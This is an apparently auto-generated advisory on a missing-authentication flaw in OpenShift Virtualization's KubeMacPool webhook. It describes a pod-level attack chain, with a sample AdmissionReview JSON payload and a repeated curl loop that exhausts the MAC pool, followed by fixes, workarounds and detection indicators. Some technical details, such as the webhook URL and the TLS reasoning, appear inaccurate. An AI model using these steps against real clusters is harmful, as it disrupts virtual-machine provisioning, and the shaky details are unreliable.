CVE-2026-142120 — Red Hat OpenShift Virtualization 4 — CWE-306
A flaw was found in KubeMacPool. The mutating admission webhooks do not authenticate the caller. A user who can run a pod in the cluster can cause the service to reserve MAC addresses for objects that are never created. Reservations made through the pod webhook remain until the KubeMacPool process is restarted. The webhooks fail closed, so once allocation fails, creation of KubeVirt virtual machines is rejected. Existing virtual machines continue to run.
A flaw was found in KubeMacPool. The mutating admission webhooks do not authenticate the caller. A user who can run a pod in the cluster can cause the service to reserve MAC addresses for objects that are never created. Reservations made through the pod webhook remain until the KubeMacPool process is restarted. The webhooks fail closed, so once allocation fails, creation of KubeVirt virtual machines is rejected. Existing virtual machines continue to run.
🎯 What is this vulnerability?
Root cause
The KubeMacPool component in Red Hat OpenShift Virtualization (4.x and 5.x) exposes a mutating admission webhook that is responsible for reserving MAC addresses for virtual‑machine (VM) objects. The webhook is unprotected – it does not perform any authentication or authorization on the caller. Consequently, any pod that can be created in the cluster (i.e., any user with the create pod permission) can send arbitrary admission requests to the webhook.
What the flaw does
When a pod is created, the webhook receives the admission request, reserves a MAC address for the object that will be created, and returns a patch. Because the webhook does not verify the identity of the caller, an attacker can:
1. Send a large number of admission requests that reserve MAC addresses for objects that are never actually created.
2. Keep doing this until the MAC‑address pool is exhausted.
3. The reservations persist until the KubeMacPool process is restarted, so the pool remains depleted for an extended period.
The webhook is fail‑closed: if it cannot allocate a MAC address, it rejects the admission request. In the context of KubeVirt, this means that any subsequent VM creation will fail until the pool is replenished. Existing VMs continue to run because their MAC addresses were already allocated before the exhaustion occurred.
CWE – CWE‑306: Missing Authentication for a Function
CVSS – 6.5/10 (Medium) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker with the ability to create pods can use to trigger the denial‑of‑service (DoS) condition.
| Step | Action | Technical Detail |
|---|---|---|
| 1. Discovery & Reconnaissance | Identify that the target is running OpenShift Virtualization 4.x/5.x and that KubeMacPool is enabled. | kubectl get deployment -n openshift-virtualization kube-macpool <br> kubectl get mutatingwebhookconfigurations – look for a webhook named kube-macpool-mutating (or similar). |
| 2. Verify the webhook is unauthenticated | Inspect the webhook configuration. | kubectl get mutatingwebhookconfigurations kube-macpool-mutating -o yaml <br> Look for clientConfig.service and absence of clientConfig.caBundle or clientConfig.service.port that would normally enforce TLS client auth. |
| 3. Craft a malicious admission request | Build a JSON payload that mimics a pod creation request but only triggers the MAC‑reservation logic. | The payload must include a request object with kind: Pod, apiVersion: v1, and a minimal metadata section. The webhook will treat it as a normal pod creation and reserve a MAC. |
| 4. Send the request repeatedly | Use curl or a small Go/Python script to POST the payload to the webhook endpoint. | The endpoint is internal to the cluster; the attacker can reach it from any pod. Example (illustrative – the exact URL may differ):<br>``bash\ncurl -k \\\n -H \"Content-Type: application/json\" \\\n -d @admission_request.json \\\n https://kube-apiserver:6443/apis/admissionregistration.k8s.io/v1/webhooks/kube-macpool-mutating\n`\nThe -k flag is used because the webhook may use a self‑signed cert. |
| 5. Exhaust the MAC‑address pool | Repeat step 4 until the pool is full. Each request reserves one MAC. | A simple loop: for i in {1..1000}; do curl …; done – the exact number depends on the pool size (typically 256–512). |
| 6. Observe the effect on VM creation | Attempt to create a KubeVirt VM. | kubectl create -f my-vm.yaml – the admission controller will reject the request with an error such as Failed to allocate MAC address: pool exhausted`. |
| 7. Post‑exploitation (optional) | If the attacker wants to keep the DoS alive, they can keep the KubeMacPool process from restarting (e.g., by blocking the restart signal or by disabling automatic restarts). | Not required for the DoS; the pool remains exhausted until a manual restart of KubeMacPool or a node reboot. |
Illustrative PoC (JSON payload)
{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"uid": "12345678-1234-1234-1234-1234567890ab",
"kind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"resource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"requestKind": {
"group": "",
"version": "v1",
"kind": "Pod"
},
"requestResource": {
"group": "",
"version": "v1",
"resource": "pods"
},
"name": "mac-reserve-test",
"namespace": "default",
"operation": "CREATE",
"userInfo": {
"username": "system:serviceaccount:default:tester",
"uid": "system:serviceaccount:default:tester",
"groups": ["system:serviceaccounts", "system:serviceaccounts:default", "system:authenticated"]
},
"object": {
"metadata": {
"name": "mac-reserve-test",
"namespace": "default"
},
"spec": {
"containers": [
{
"name": "pause",
"image": "k8s.gcr.io/pause:3.1"
}
]
}
},
"oldObject": null,
"dryRun": false,
"options": {
"kind": "CreateOptions",
"apiVersion": "meta.k8s.io/v1"
}
}
}NOTE: The exact URL and TLS configuration of the webhook are internal to the cluster. The example above is illustrative; the real endpoint will be something like https://kube-apiserver:6443/apis/admissionregistration.k8s.io/v1/webhooks/kube-macpool-mutating.🌍 Real World Impact
| Impact | CVSS Vector | Explanation |
|---|---|---|
| Availability (A:H) | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H | The attacker can exhaust the MAC‑address pool, causing *all* subsequent KubeVirt VM creations to fail. Existing VMs keep running, but new workloads cannot be provisioned. |
| Confidentiality (C:N) | – | No data is leaked. |
| Integrity (I:N) | – | No tampering with data. |
| Privilege Escalation | No | The attacker only needs create pod permission, which is typically granted to many users. |
| RCE / Data Exfiltration | No | The flaw does not provide code execution or data access. |
Practical consequences
- Service disruption – Virtualization workloads cannot be started, which can halt business processes that rely on VMs.
- Operational overhead – Administrators must manually restart the KubeMacPool process or reboot nodes to recover the pool.
- Potential cascading failures – If the virtualization layer is a critical component (e.g., for a cloud‑native platform), the DoS can affect downstream services that depend on VM provisioning.
- CVSS score: 6.5 (Medium) – but the vector indicates a high availability impact.
- Exploit complexity: Low – only requires
create podpermission, which is commonly granted. - CISA KEV status: No – but the DoS potential is significant for production environments.
- Recommended priority: High.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Affected Versions | Fix |
|---|---|---|
| Red Hat OpenShift Virtualization | 4.x (all minor releases) and 5.x (all minor releases) | Red Hat has released a fix that adds authentication to the KubeMacPool admission webhook. Upgrade to the latest release of OpenShift Virtualization. |
| Red Hat OpenShift Container Platform | 4.12+ (includes the updated KubeMacPool) | Upgrade to the latest 4.x release. |
How to check
yum list installed | grep openshift-virtualization
oc adm release info – compare the current release with the latest errata on the Red Hat Customer Portal.2. Workarounds (if patching is not immediately possible)
| Mitigation | How to Implement |
|---|---|
| Restrict network access to the webhook | Use a NetworkPolicy that allows traffic to the webhook service only from the kube‑apiserver pod. Example: <br>kubectl apply -f - <<EOF\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n name: restrict-kubemacpool-webhook\n namespace: openshift-virtualization\nspec:\n podSelector:\n matchLabels:\n app: kube-macpool\n ingress:\n - from:\n - podSelector:\n matchLabels:\n component: kube-apiserver\nEOF |
| Disable the mutating admission webhook | If you do not need automatic MAC reservation, delete the webhook configuration: <br>kubectl delete mutatingwebhookconfigurations kube-macpool-mutating |
| Limit pod creation permissions | Tighten RBAC so that only trusted service accounts can create pods. Example: <br>kubectl create rolebinding mac-reserve-allow --role=pod-creator --serviceaccount=default:trusted-sa --namespace=default |
| Restart KubeMacPool manually | oc delete pod -n openshift-virtualization -l app=kube-macpool – the deployment will recreate the pod and reset the MAC pool. |
3. Detection
| Indicator | Log source | Example |
|---|---|---|
| Repeated MAC reservations | KubeMacPool logs (/var/log/kube-macpool.log or journalctl -u kube-macpool) | 2026-12-03T12:34:56Z INFO Reserved MAC address 02:42:ac:11:00:01 for pod default/mac-reserve-test |
| Admission webhook requests from unexpected pods | API server audit logs (/var/log/openshift-apiserver/audit.log) | {"verb":"create","user":"system:serviceaccount:default:tester","objectRef":{"resource":"pods","name":"mac-reserve-test"}} |
| VM creation failures due to MAC exhaustion | KubeVirt logs (/var/log/kubevirt/virt-launcher.log) | Failed to allocate MAC address: pool exhausted |
Tip: Enable API server audit logging with a policy that records create operations on pods and virtualmachines. This will surface suspicious activity early.
⚠️ Urgency
Bottom line
The flaw is a classic missing authentication on an admission webhook that allows an attacker to reserve MAC addresses for non‑existent objects, exhausting the pool and causing a denial of service for all subsequent KubeVirt VM creations. The impact is purely availability; there is no data leakage or code execution. The fix is straightforward: upgrade to the latest OpenShift Virtualization release or apply the provided workarounds until the patch is applied.
[🤖 CVE Professor AI Security Engine]
FOFA Query